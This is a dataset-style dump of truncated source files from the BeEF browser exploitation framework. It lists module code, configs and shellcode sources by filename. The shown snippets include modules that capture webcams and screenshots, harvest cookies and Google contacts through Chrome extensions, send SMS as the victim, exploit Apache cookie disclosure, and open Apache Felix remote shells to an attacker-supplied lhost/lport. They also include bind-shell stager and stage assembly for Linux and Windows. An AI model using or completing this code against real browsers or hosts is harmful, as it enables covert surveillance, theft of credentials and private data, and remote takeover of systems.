language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
JavaScript
beef/modules/browser/spyder_eye/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var takes = parseInt('<%= @repeat %>', 10) || 1; var delay = parseInt('<%= @delay %>', 10) || 0; snap = ...
YAML
beef/modules/browser/spyder_eye/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: spyder_eye: enable: true category: "Browser" name: "Spyder Eye" de...
JavaScript
beef/modules/browser/spyder_eye/html2canvas.min.js
/*! * html2canvas 1.0.0-alpha.12 <https://html2canvas.hertzen.com> * Copyright (c) 2018 Niklas von Hertzen <https://hertzen.com> * Released under MIT License */ !function(A,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exp...
Ruby
beef/modules/browser/spyder_eye/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Spyder_eye < BeEF::Core::Command def self.options [ { 'ui_label' => 'Repeat', 'name' => 'repeat', 'description' => 'Number...
JavaScript
beef/modules/browser/unhook/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent unhook request"); // remove script ...
YAML
beef/modules/browser/unhook/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: unhook: enable: true category: "Browser" name: "Unhook" descriptio...
Ruby
beef/modules/browser/unhook/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Unhook < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['resul...
JavaScript
beef/modules/browser/webcam_flash/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { /* If you ever experience that the "Allow button" of the flash warning is not clickable, it ca...
YAML
beef/modules/browser/webcam_flash/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: webcam_flash: enable: true category: "Browser" name: "Webcam (Flash)" ...
Ruby
beef/modules/browser/webcam_flash/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'base64' class Webcam_flash < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(...
JavaScript
beef/modules/browser/webcam_flash/swfobject.js
/* SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onre...
ActionScript
beef/modules/browser/webcam_flash/dev/com/adobe/images/BitString.as
/* Copyright (c) 2008, Adobe Systems Incorporated All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of ...
ActionScript
beef/modules/browser/webcam_flash/dev/com/adobe/images/JPGEncoder.as
/* Copyright (c) 2008, Adobe Systems Incorporated All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of ...
ActionScript
beef/modules/browser/webcam_flash/dev/com/adobe/images/PNGEncoder.as
/* Copyright (c) 2008, Adobe Systems Incorporated All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of ...
ActionScript
beef/modules/browser/webcam_flash/dev/com/foxarc/util/Base64.as
package com.foxarc.util{ import flash.utils.ByteArray; public class Base64 { private static const encodeChars:Array = ['A','B','C','D','E','F','G','H', 'I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X', 'Y','Z','a','b','c','d','e','f', ...
JavaScript
beef/modules/browser/webcam_html5/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (beef.browser.hasWebGL()) { beef.debug('[Webcam HTML5] Browser supports WebGL'); } else ...
YAML
beef/modules/browser/webcam_html5/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: webcam_html5: enable: true category: "Browser" name: "Webcam HTML5" ...
Ruby
beef/modules/browser/webcam_html5/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'base64' class Webcam_html5 < BeEF::Core::Command def self.options [ { 'name' => 'choice', 'type' => 'combobox', 'ui_lab...
ActionScript
beef/modules/browser/webcam_permission_check/cameraCheck.as
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // Source ActionScript for cameraCheck.swf package { import flash.display.Sprite; import flash.external.ExternalInterface; ...
JavaScript
beef/modules/browser/webcam_permission_check/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //These 3 functions [naPermissions() The camera is not available or not supported // ...
YAML
beef/modules/browser/webcam_permission_check/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: webcam_permission_check: enable: true category: "Browser" name: "Webcam Permis...
Ruby
beef/modules/browser/webcam_permission_check/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Webcam_permission_check < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/mod...
JavaScript
beef/modules/browser/webcam_permission_check/swfobject.js
/* SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onre...
JavaScript
beef/modules/chrome_extensions/execute_tabs/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try{ chrome.tabs.create({url:"<%= @url %>"}, function(tab){ chrome.tabs.executeScript(tab.id,{code:"<%=...
YAML
beef/modules/chrome_extensions/execute_tabs/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: execute_tabs: enable: true category: "Chrome Extensions" name: "Execute On Tab...
Ruby
beef/modules/chrome_extensions/execute_tabs/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Execute_tabs < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'URL', 'value' => 'https://www.goog...
JavaScript
beef/modules/chrome_extensions/get_all_cookies/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { the_url = "<%== @url %>"; if (the_url != 'default_all') { chrome.cookies.getAll({url:the_url}, functio...
YAML
beef/modules/chrome_extensions/get_all_cookies/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_all_cookies: enable: true category: "Chrome Extensions" name: "Get All Coo...
Ruby
beef/modules/chrome_extensions/get_all_cookies/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_all_cookies < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'Domain (e.g. http://facebook.co...
JavaScript
beef/modules/chrome_extensions/grab_google_contacts/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var regContacts = '("AuthToken":{"Value":")(.*)("}}};)'; function grabCSV(token){ var csv = new XMLHtt...
YAML
beef/modules/chrome_extensions/grab_google_contacts/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: grab_google_contacts: enable: true category: "Chrome Extensions" name: "Grab G...
Ruby
beef/modules/chrome_extensions/grab_google_contacts/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Grab_google_contacts < BeEF::Core::Command def post_execute content = {} content['Return'] = @datastore['return'] save c...
JavaScript
beef/modules/chrome_extensions/inject_beef/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var beefHookUri = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook; ...
YAML
beef/modules/chrome_extensions/inject_beef/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inject_beef: enable: true category: "Chrome Extensions" name: "Inject BeEF" ...
Ruby
beef/modules/chrome_extensions/inject_beef/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Inject_beef < BeEF::Core::Command def post_execute content = {} content['Return'] = @datastore['return'] save content ...
JavaScript
beef/modules/chrome_extensions/screenshot/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { chrome.tabs.captureVisibleTab(null, function(img) { beef.net.send('<%= @command_url %>', <%= @c...
YAML
beef/modules/chrome_extensions/screenshot/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: screenshot: enable: true category: "Chrome Extensions" name: "Screenshot" ...
Ruby
beef/modules/chrome_extensions/screenshot/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Screenshot < BeEF::Core::Command def post_execute content = {} content['Return'] = @datastore['return'] save content e...
JavaScript
beef/modules/chrome_extensions/send_gvoice_sms/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var to = "<%= @to %>"; var message = "<%= @message %>"; var status; var regSMS = "('_rnr_se': ')([a-z...
YAML
beef/modules/chrome_extensions/send_gvoice_sms/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: send_gvoice_sms: enable: true category: "Chrome Extensions" name: "Send Gvoice...
Ruby
beef/modules/chrome_extensions/send_gvoice_sms/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Send_gvoice_sms < BeEF::Core::Command def self.options [ { 'name' => 'to', 'ui_label' => 'To', 'value' => '1234567890', 't...
JavaScript
beef/modules/debug/test_beef_debug/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var msg = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@msg) %>')); b...
YAML
beef/modules/debug/test_beef_debug/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_beef_debug: enable: true category: "Debug" name: "Test beef.debug()" ...
Ruby
beef/modules/debug/test_beef_debug/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_beef_debug < BeEF::Core::Command def self.options [ { 'name' => 'msg', 'description' => 'Debug Message', 'ui_label' =...
JavaScript
beef/modules/debug/test_cors_request/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var method = "<%= @method %>"; var url = "<%= @url %>"; var data = "<%= @data %>"; var timeout = 1...
YAML
beef/modules/debug/test_cors_request/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_cors_request: enable: true category: "Debug" name: "Test CORS Request" ...
Ruby
beef/modules/debug/test_cors_request/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_cors_request < BeEF::Core::Command def post_execute content = {} content['response'] = @datastore['response'] save ...
JavaScript
beef/modules/debug/test_dns_tunnel_client/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /* Check the Browser Hacker's Handbook, chapter 3, pages 89-95 for more details about how this works. */ beef.execute(function() { v...
YAML
beef/modules/debug/test_dns_tunnel_client/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_dns_tunnel_client: enable: true category: "Debug" name: "DNS Tunnel" ...
Ruby
beef/modules/debug/test_dns_tunnel_client/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_dns_tunnel_client < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance [ {...
JavaScript
beef/modules/debug/test_get_variable/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /* This JavaScript gets value of the specified variable that was set in another script via Window property. */ beef.execute(function()...
YAML
beef/modules/debug/test_get_variable/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_get_variable: enable: true category: "Debug" name: "Test JS variable pass...
Ruby
beef/modules/debug/test_get_variable/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_get_variable < BeEF::Core::Command def self.options [{ 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => 't...
JavaScript
beef/modules/debug/test_http_redirect/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=mounted to /redirect'); });
YAML
beef/modules/debug/test_http_redirect/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_http_redirect: enable: true category: "Debug" name: "Test HTTP Redirect" ...
Ruby
beef/modules/debug/test_http_redirect/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_http_redirect < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_redirect('h...
JavaScript
beef/modules/debug/test_network_request/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var scheme = "<%= @scheme %>"; var method = "<%= @method %>"; var domain = "<%= @domain %>"; var port = ...
YAML
beef/modules/debug/test_network_request/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_network_request: enable: true category: "Debug" name: "Test Network Reque...
Ruby
beef/modules/debug/test_network_request/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_network_request < BeEF::Core::Command def post_execute content = {} content['response'] = @datastore['response'] sa...
JavaScript
beef/modules/debug/test_return_ascii_chars/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var str = ''; for (var i=32; i<=127;i++) str += String.fromCharCode(i); beef.net.send("<%= @com...
YAML
beef/modules/debug/test_return_ascii_chars/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_return_ascii_chars: enable: true category: "Debug" name: "Return Ascii Ch...
Ruby
beef/modules/debug/test_return_ascii_chars/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_return_ascii_chars < BeEF::Core::Command def post_execute content = {} content['Result String'] = @datastore['result_st...
JavaScript
beef/modules/debug/test_return_image/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=data:image/png;base64,iVBORw0KGgoAAAANSU...
YAML
beef/modules/debug/test_return_image/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_return_image: enable: true category: "Debug" name: "Return Image" ...
Ruby
beef/modules/debug/test_return_image/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_return_image < BeEF::Core::Command def post_execute content = {} content['image'] = @datastore['image'] save conten...
JavaScript
beef/modules/debug/test_return_long_string/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var repeat_value = "<%= @repeat_string %>"; var iterations = <%= @repeat %>; var str = ""; ...
YAML
beef/modules/debug/test_return_long_string/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: test_return_long_string: enable: true category: "Debug" name: "Test Returning ...
Ruby
beef/modules/debug/test_return_long_string/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Test_return_long_string < BeEF::Core::Command def self.options [ { 'name' => 'repeat', 'description' => 'Times to repeat',...
JavaScript
beef/modules/exploits/apache_cookie_disclosure/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // BASED ON https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 beef.execute(function() { function...
YAML
beef/modules/exploits/apache_cookie_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: apache_cookies: enable: true category: "Exploits" name: "Apache Cookie Disclos...
Ruby
beef/modules/exploits/apache_cookie_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Apache_cookies < BeEF::Core::Command def post_execute content = {} content['apache_cookies'] = @datastore['apache_cookies'] ...
JavaScript
beef/modules/exploits/apache_felix_remote_shell/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '...
YAML
beef/modules/exploits/apache_felix_remote_shell/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: apache_felix_remote_shell: enable: true category: "Exploits" name: "Apache Fel...
Ruby
beef/modules/exploits/apache_felix_remote_shell/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Apache_felix_remote_shell < BeEF::Core::Command def self.options configuration = BeEF::Core::Configuration.instance lhost = ...
JavaScript
beef/modules/exploits/beefbind/beef_bind_shell/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function () { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var path = '<%= @path %>'; var cmd...
YAML
beef/modules/exploits/beefbind/beef_bind_shell/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: BeEF_bind_shell: enable: true category: ["Exploits", "BeEF_bind"] name: "BeEF ...
Ruby
beef/modules/exploits/beefbind/beef_bind_shell/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Beef_bind_shell < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1'...
C
beef/modules/exploits/beefbind/shellcode_sources/linux/x64/socket64.c
/** Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled wi...
beef/modules/exploits/beefbind/shellcode_sources/linux/x64/stage64.nasm
BITS 64 SECTION .text global _start _start: cld ;clear direction flag xor rdx,rdx ;zero rdx push BYTE 0x02 pop r14 ;create two pipes createpipes: push rdx ;allocate space on the stack mov rdi, rsp ;point to the stack push BYTE 0x16 pop rax ;sys_pipe syscall dec r14 test r14, r14 ;create 2 pipes je end...
beef/modules/exploits/beefbind/shellcode_sources/linux/x64/stager64.nasm
BITS 64 SECTION .text global _start _start: cld ;clear direction flag xor rdx, rdx ;zero rdx (proto=0) push BYTE 0x01 pop rsi ;SOCK_STREAM push BYTE 0x02 pop rdi ;AF_INET = 2 push BYTE 0x29 pop rax ;sys_socket syscall mov rbx, rax ; save socket filediscriptor ;reuse socket push 0x01 ;true mov r10, rsp ;...
C
beef/modules/exploits/beefbind/shellcode_sources/linux/x86/socket.c
/** Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission The C-skeleton to compile and test this shellcode is used with kind permission of Vivek Ramachandran. A standalone version can be compiled wi...
beef/modules/exploits/beefbind/shellcode_sources/linux/x86/stage.nasm
; Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net ; Browser Exploitation Framework (BeEF) - http://beefproject.com ; See the file 'doc/COPYING' for copying permission BITS 32 SECTION .text global _start _start: cld ;clear direction flag xor edx, edx ;zero edx push BYTE 0x02 pop ecx ;create two pipes cr...
beef/modules/exploits/beefbind/shellcode_sources/linux/x86/stager.nasm
; Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net ; Browser Exploitation Framework (BeEF) - http://beefproject.com ; See the file 'doc/COPYING' for copying permission BITS 32 SECTION .text global _start _start: cld ;clear direction flag xor eax, eax ;zero eax xor edx, edx ;zero edx ;initialize socket p...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-handler.rb
## # $Id: beef_bind-handler.rb 121018 Ty Miller @ Threat Intelligence$ ## module Msf module Handler ### # # This module implements the Bind TCP handler placeholder only. # ### module BeefBind include Msf::Handler # # Returns the handler specific string representation ...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x64.rb
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/base/sessions/command_shell' re...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x86.rb
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/base/sessions/command_shell' re...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-windows-x86.rb
## # $Id: beef_bind-stage.rb 121018 Ty Miller @ Threat Intelligence$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/frame...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x64.rb
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/handler/beef_bind' module...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x86.rb
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/handler/beef_bind' module...
Ruby
beef/modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-windows-x86.rb
## # $Id: beef_bind-stager.rb 121018 Ty Miller @ Threat Intelligence$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/fram...
Markdown
beef/modules/exploits/beefbind/shellcode_sources/msf/README.md
# Metasploit BeEF Bind Payloads Note: the paths specified below relate to the Metasploit installation directory on Kali Linux. The paths may differ on your system. ## Install Handler Installing BeEF Bind payloads requires also installing a custom handler into framework: ```sh sudo cp beef_bind-handler.rb /usr/share...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stage.asm
[SECTION .text] BITS 32 [ORG 0] ;code starts at offset 0 cld ;clear the direction flag call start ;jump over block_api and push its address onto the stack %include "src/block_api.asm" start: pop ebp ;pop the address of block_api into ebp for calling functions later %include "src/block_beef_bind-stage.a...
Assembly Language
beef/modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stager.asm
